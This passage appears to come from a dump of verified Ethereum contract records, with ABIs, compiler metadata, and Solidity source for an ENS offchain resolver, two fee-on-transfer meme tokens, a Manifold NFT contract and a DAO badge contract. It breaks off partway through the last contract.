name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"whitelist","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.18+commit.87f61d96

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000001243796265722043726564697420546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034343540000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

ipfs://00502f075806e8e74a1204a9fc1cd13c43fa721029abb422bd85b4468206d5d7

OffchainResolver

contracts/OffchainResolver.sol

0xdb34da70cfd694190742e94b7f17769bc3d84d27

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@ensdomains/ens-contracts/contracts/resolvers/SupportsInterface.sol"; import "./IExtendedResolver.sol"; import "./SignatureVerifier.sol"; interface IResolverService { function resolve(bytes calldata name, bytes calldata data) external view returns(bytes memory result, uint64 expires, bytes memory sig); } /** * Implements an ENS resolver that directs all queries to a CCIP read gateway. * Callers must implement EIP 3668 and ENSIP 10. */ contract OffchainResolver is IExtendedResolver, SupportsInterface { string public url; mapping(address=>bool) public signers; event NewSigners(address[] signers); error OffchainLookup(address sender, string[] urls, bytes callData, bytes4 callbackFunction, bytes extraData); constructor(string memory _url, address[] memory _signers) { url = _url; for(uint i = 0; i < _signers.length; i++) { signers[_signers[i]] = true; } emit NewSigners(_signers); } function makeSignatureHash(address target, uint64 expires, bytes memory request, bytes memory result) external pure returns(bytes32) { return SignatureVerifier.makeSignatureHash(target, expires, request, result); } /** * Resolves a name, as specified by ENSIP 10. * @param name The DNS-encoded name to resolve. * @param data The ABI encoded data for the underlying resolution function (Eg, addr(bytes32), text(bytes32,string), etc). * @return The return data, ABI encoded identically to the underlying function. */ function resolve(bytes calldata name, bytes calldata data) external override view returns(bytes memory) { bytes memory callData = abi.encodeWithSelector(IResolverService.resolve.selector, name, data); string[] memory urls = new string[](1); urls[0] = url; revert OffchainLookup( address(this), urls, callData, OffchainResolver.resolveWithProof.selector, callData ); } /** * Callback used by CCIP read compatible clients to verify and parse the response. */ function resolveWithProof(bytes calldata response, bytes calldata extraData) external view returns(bytes memory) { (address signer, bytes memory result) = SignatureVerifier.verify(extraData, response); require( signers[signer], "SignatureVerifier: Invalid sigature"); return result; } function supportsInterface(bytes4 interfaceID) public pure override returns(bool) { return interfaceID == type(IExtendedResolver).interfaceId || super.supportsInterface(interfaceID); } /** * Sets the URL for the resolver service. Only callable by the signers. */ function setURL(string calldata _url) external { require(signers[msg.sender], "OffchainResolver: Not a signer"); url = _url; } /** * Sets the signers for the resolver service. Only callable by the signers. */ function setSigners(address[] calldata _signers) external { require(signers[msg.sender], "OffchainResolver: Not a signer"); for(uint i = 0; i < _signers.length; i++) { signers[_signers[i]] = true; } emit NewSigners(_signers); } }

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v0.8.18+commit.87f61d96

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Default

OrdinalZilla

OrdinalZilla.sol

0xef31ad4931676ec147999e039814fec1b0578be6

Solidity

// SPDX-License-Identifier: MIT /* Ordinal Zilla - oZILLA Join Our Community: https://t.me/ordinalZilla https://ordinalzilla.medium.com/ */ pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapV2Pair { function sync() external; } contract OrdinalZilla is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "Ordinal ZIlla"; string private constant _symbol = "oZILLA"; uint8 private constant _decimals = 9; uint256 private _tTotal = 100000000000 * 10**_decimals; uint256 public _maxWalletAmount = 2000000000 * 10**_decimals; uint256 public _maxTxAmount = 2000000000 * 10**_decimals; uint256 public swapTokenAtAmount = 500000000 * 10**_decimals; uint256 public forceSwapCount; address public liquidityReceiver; address public marketingWallet; struct BuyFees{ uint256 liquidity; uint256 marketing; } struct SellFees{ uint256 liquidity; uint256 marketing; } BuyFees public buyFee; SellFees public sellFee; uint256 private liquidityFee; uint256 private marketingFee; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor (address marketingAddress, address liquidityAddress) { marketingWallet = marketingAddress; liquidityReceiver = liquidityAddress; balances[_msgSender()] = _tTotal; buyFee.liquidity = 1; buyFee.marketing = 3; sellFee.liquidity = 1; sellFee.marketing = 3; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(0x00)] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFee[address(account)] = excluded; } receive() external payable {} function takeBuyFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; uint256 marketingFeeTokens = amount * buyFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function takeSellFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; uint256 marketingFeeTokens = amount * sellFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken ); return (amount -liquidityFeeToken -marketingFeeTokens); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function changeFee(uint256 _buyMarketingFee, uint256 _buyLiquidityFee, uint256 _sellMarketingFee, uint256 _sellLiquidityFee) public onlyOwner { require(_buyMarketingFee + _buyLiquidityFee < 25 || _sellLiquidityFee + _sellMarketingFee < 25, "Can't change fee higher than 24%"); buyFee.liquidity = _buyLiquidityFee; buyFee.marketing = _buyMarketingFee; sellFee.liquidity = _sellLiquidityFee; sellFee.marketing = _sellMarketingFee; } function changeMax(uint256 _maxTx, uint256 _maxWallet) public onlyOwner { require(_maxTx + _maxWallet > _tTotal / 1000, "Should be bigger than 0,1%"); _maxTxAmount = _maxTx; _maxWalletAmount = _maxWallet; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); balances[from] -= amount; uint256 transferAmount = amount; bool takeFee; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ takeFee = true; } if(takeFee){ if(to != uniswapV2Pair){ require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount"); require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount."); transferAmount = takeBuyFees(amount, to); } if(from != uniswapV2Pair){ require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount"); transferAmount = takeSellFees(amount, from); forceSwapCount += 1; if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) { swapping = true; swapBack(swapTokenAtAmount); swapping = false; forceSwapCount = 0; } if (forceSwapCount > 5 && !swapping) { swapping = true; swapBack(balanceOf(address(this))); swapping = false; forceSwapCount = 0; } } if(to != uniswapV2Pair && from != uniswapV2Pair){ require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount"); require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount."); } } balances[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapBack(uint256 amount) private { uint256 contractBalance = amount; uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity); uint256 marketingTokens = contractBalance * (buyFee.marketing + sellFee.marketing) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity); uint256 totalTokensToSwap = liquidityTokens + marketingTokens; uint256 tokensForLiquidity = liquidityTokens.div(2); uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap); addLiquidity(tokensForLiquidity, ethForLiquidity); payable(marketingWallet).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, liquidityReceiver, block.timestamp ); } }

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"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.19+commit.7dd6d404

000000000000000000000000b1738c9c6ba28fa428a3d57504c2e9d09bac56f80000000000000000000000004bc1ba012b81bc35e6c90a714e2a0109ba999713

Default

MIT

ipfs://331f9bc5734c59a9a4475af7b3194d27d9ef489b0307598ff04376c6b1f58353

DOTUS

DOTUS.sol

0xec6cedc3cf01caf5e97441368c591dab12d1a65e

Solidity

// SPDX-License-Identifier: MIT /** $DOTUS, short for "Dogs of the United States," is not just a token; it's a heartfelt tribute to the incredible bond we share with our furry friends. // https://dotus.vip/ // https://t.me/DotusEntry // https://twitter.com/DOTUSToken */ pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DOTUS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=25; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 6900000000 * 10**_decimals; string private constant _name = unicode"Dogs of United States"; string private constant _symbol = unicode"DOTUS"; uint256 public _maxTxAmount = 138000000 * 10**_decimals; uint256 public _maxWalletSize = 138000000 * 10**_decimals; uint256 public _taxSwapThreshold= 69000000 * 10**_decimals; uint256 public _maxTaxSwap= 138000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } receive() external payable {} }

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v0.8.20+commit.a1b79de6

Default

MIT

ipfs://81a167f0ba1442c2227dac2d710dc1a0e66024a77b63e5a84e3cc512ad58ee20

NATURE

contracts/NATURE.sol

0xc41efd458d2e0b777ac5af1dd1f2b43d41791743

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Nature Streams /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////// // // // // // *(/((((//##/(%%%%%%/,((, /*,,,/#&((######%%&%&%&#%%*(##%%#%#%#( (##*****,****** // // ##///(*,.****/##%%#**//##%/,**,/%(&@%&&%%%%%%&&%#%%#((%#&&%%%###((#((*,,,,,(/**/ // // (((###(*,((#(////// #%//(#%##%##&@@%&&&%&@@&%%%#(%%###((/%###%(***,,,,,,,******/ // // /#*///,/**,*/#,. *##/..#(&%&&&%#&@@&&&&&&%&%%%##&&(***/#%%##(,,,....,,,*,**(%%%% // // **,.*(***.,,,*/*,,*##%&(/&&&&&&%@&&&%&&#%#((//#(%&@&@@&&%%#*,,,,,,,,,,/%(&&&%%%& // // */,*/***/(#(/*,/(,*((. ,(&&%&&&&&%%%%&&&&&&&%#%#((#&&%%&&&%&&%(/(((#,(%#&&&&%&&& // // ..,/#%#*%%%%%#(((/*, ,.((####%%%%&&&%%%&&&&&#/(%%(//#%&&&&%%%&&@#&&&%%&%&&&&%// // // ,,.*/#(/(.**./*/,*/ *.###%&%(###(%&&&&&&&#, .#%#(&@&&&&/(%/&&&%*/(( // // ,,,,*****,*,.,**,,,. .,(#&&&&&&&&&%&&&&%.,.... .,**,#&&&&%&&#//(#/&#(/#( // // ,,....,******. * .,,...,,&&@&#%%(&&@&*%%**,..... .*/*,. /%/******/****./(####( // // %&#*,,,,,,,,,.,. .,,,,/&&#&(#(&&&&&&&/*,,,. ./*,.. /%%%&&%(**,,.,,//(#/(((# // // &&&&%%/, .*/,* ,*. ...,**/%%%/#%%&&&%@&%/***/(,......#%&&&%%%%%%%#,**((/####(#/ // // (%&&@&%%#**(((/ .,/*****/#%%&%#(/%%&&@%//(/*,...*%(//%&%%%%%%%%%%&&&%(//##### // // #*/%&&%%##(/./%# ....,/((###%#(#,/#/,,*%(/*,,*/%@&#*///(%%%%%%#(&&&@&&#%&%&#( // // (/*,#%#%##(*.*#%%#..,(((#############%%&####((/(#/(%%((. #%#(//%(((%%#&&,. ./%&( // // #////(##/,,,./%*%&%##(,(////((((###%%%###%&&%#((/*#@&&&%%#%#(//%((///#%(, *#%%( // // %%##///.(.*%%#%&&%*..,**///////(////***((/*#((((%&%&&&&&&&%#//%%##*,,*,,****/%%% // // ///#(###(###%%%( . ..,**////((/(#((((*((/,.,(%%&&%%%%&%*,/***/**(//(#(/*,,,*/% // // /*. .((***/***. .,/////*//*,*//**(//(/(/,,..,#%(/#%(###(,,,,**,,,,,,,*##### // // /#%(%#.. ..,,. .**,. .,,,,,,**/**/*//(((//*/, .*/(#(. .,**/#(*.,/##%##(( // // /#(%&%/. ..,,*, .....,*/**/*//////////,....,*. ,((,.../*/((/*,.*###*/, // // *##/%%##/%,%(,%@&&%%#(*,***,.,,..**/////(/*(*,*, . .**. .*,,////////*,*%( // // ,(####%#,(*,*/*#@&&@/,,*(*/(/((%&#,**/*/(/*(&%%/,.. *,/******,,***## // // #/#&%%%#%%#%%%&&%%#&@@#**/#&@@/@&@%,,*,*//,*%%%(,/&@@&&&%%&&#**/*/.,. . .*,*(%%# // // &%((/#(#%#(#%#%&%@((.(@@@#%%@@@@@@((.,,.,/,,#%&%&&&%&&&&&&&%%&%%***,,*/*/*.,**#% // // %%((%#*((%//##%@@&@@@@@&%&%%@@@(**%**.. ..*.*#%%##%%#(%%&@&&(///%%#(*****.*****% // // %%#&%#%(##%#(%%&@@@@&@##%%%#&@@%(%(/*/, ,.*((%%%(##(#((/(, /(%%%%#%#((%%%&@ // // %%%###%&%%**#%#%####(/// #%%@@#/(##*##%# , /*#%%%&&((((((*.,(((%#/#/%#(/%%&@& // // #..,/(&&&&@@@&@@@@%*/%&&#&&%%/***/#(#%%%%%* ..,####%&&&&&&%&&&##(#%**,%(#.%&&@@ // // ..*%&%%&&&&&&@@&&#(%&#(#&@&/,,,,(####(#%#*/* . (###%#%##&&&&&##(&(***(///(%%*& // // //(#%%%%(#@@&&@@@&&&&@&&%%&@##**,,/(((******(##%#,.**(##%%&%&&%(((#/##, ,*(%%** // // .,/((/#%@%%@%%%@@@&%%%%&&%%/,(, . .**. ,##/**(*//(#&%%&%((%(/((#%%%(*#%%&%(% // // .,*(#(#%(,,,,***,,,*%%%%&&%*... ,/....,/,***((/(((%#.(,*.//(/(#/(*((/%&&&%%%# // // // // // //////////////////////////////////////////////////////////////////////////////////////////// contract NATURE is ERC721Creator { constructor() ERC721Creator("Nature Streams", "NATURE") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

0xe4e4003afe3765aca8149a82fc064c0b125b9e5a

DAOBadge

contracts/DAOBadge.sol

0xbd13f4962c1a379da6476bd8d0d494c04c2e88c8

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; contract DAOBadge is Ownable, ERC1155Supply { using Strings for uint256; using Counters for Counters.Counter; string public baseURI; Counters.Counter private _tokenIds; mapping(uint256 => string) private _tokenIdTypes; mapping(string => uint256) private _typeTokens; string[] private _types; struct MemberTypeAmounts { string[] types; uint256[] amounts; } event AddType(address operator, string newType); event BaseURIChanged( address operator, string fromBaseURI, string toBaseURI ); constructor(string memory _baseURI) ERC1155(_baseURI) { addType("Governance"); addType("Investment"); baseURI = _baseURI; } function updateBaseURI(string calldata _newBaseURI) external onlyOwner { emit BaseURIChanged(msg.sender, baseURI, _newBaseURI); baseURI = _newBaseURI; } function addType(string memory badgeType) public onlyOwner { require(_typeTokens[badgeType] == 0, "the type is exist"); if (_typeTokens[badgeType] == 0) { _tokenIds.increment(); uint256 tokenId = _tokenIds.current(); _tokenIdTypes[tokenId] = badgeType; _typeTokens[badgeType] = tokenId; _types.push(badgeType); emit AddType(msg.sender, badgeType); } } function getAllTypes() public view returns (string[] memory) { return _types; } function getTokenId( string calldata badgeType ) public view returns (uint256) { return _typeTokens[badgeType]; } function balanceOfType( string memory badgeType, address[] calldata members ) external view returns (uint256[] memory) { uint256[] memory amounts = new uint256[](members.length); for (uint256 i = 0; i < members.length; i++) { uint256 amount = balanceOf(members[i], _typeTokens[badgeType]); amounts[i] = 